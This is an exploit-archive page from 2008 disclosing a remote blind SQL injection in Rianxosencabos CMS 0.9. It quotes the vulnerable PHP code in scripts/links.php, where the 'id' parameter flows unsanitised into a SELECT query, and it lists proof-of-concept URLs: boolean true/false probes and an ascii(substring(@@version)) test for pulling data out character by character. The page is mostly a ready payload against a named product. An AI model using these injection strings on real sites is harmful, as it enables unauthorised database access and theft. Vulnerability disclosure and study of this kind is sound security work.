[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Rianxosencabos CMS 0.9 Remote Blind SQL Injection Vulnerability
# Published : 2008-09-30
# Author : ka0x
# Previous Title : SG Real Estate Portal 2.0 Insecure Cookie Handling Vulnerability
# Next Title : BookMarks Favourites Script (view_group.php id) SQL Injection Vuln
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Rianxosencabos CMS 0.9 Remote Blind SQL Injection Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
/ Script: Rianxosencabos
/ Version: 0.9
/ File affected: scripts/links.php
/ Download: http://downloads.sourceforge.net/rsccms/rsccms.tar.gz
ka0x <ka0x01 [at] gmail [dot] com>
D.O.M Labs - Security Researchers
- www.domlabs.org
Vuln code:
-----
88: function visita($id) {
93: $resultado=$bd->consulta("SELECT direccion, clicks FROM links WHERE id=$id LIMIT 1");
....
112: if ($_GET['id']) {
113: links::visita($_GET['id'])
-----
Proof of Concept:
http://[host]/[cms]/?s=links&id=1 and 1=1 -> True
http://[host]/[cms]/?s=links&id=1 and 1=0 -> False
http://[host]/[cms]/?s=links&id=1 and ascii(substring(@@version,1,1)=52
__END__
# www.Syue.com [2008-09-30]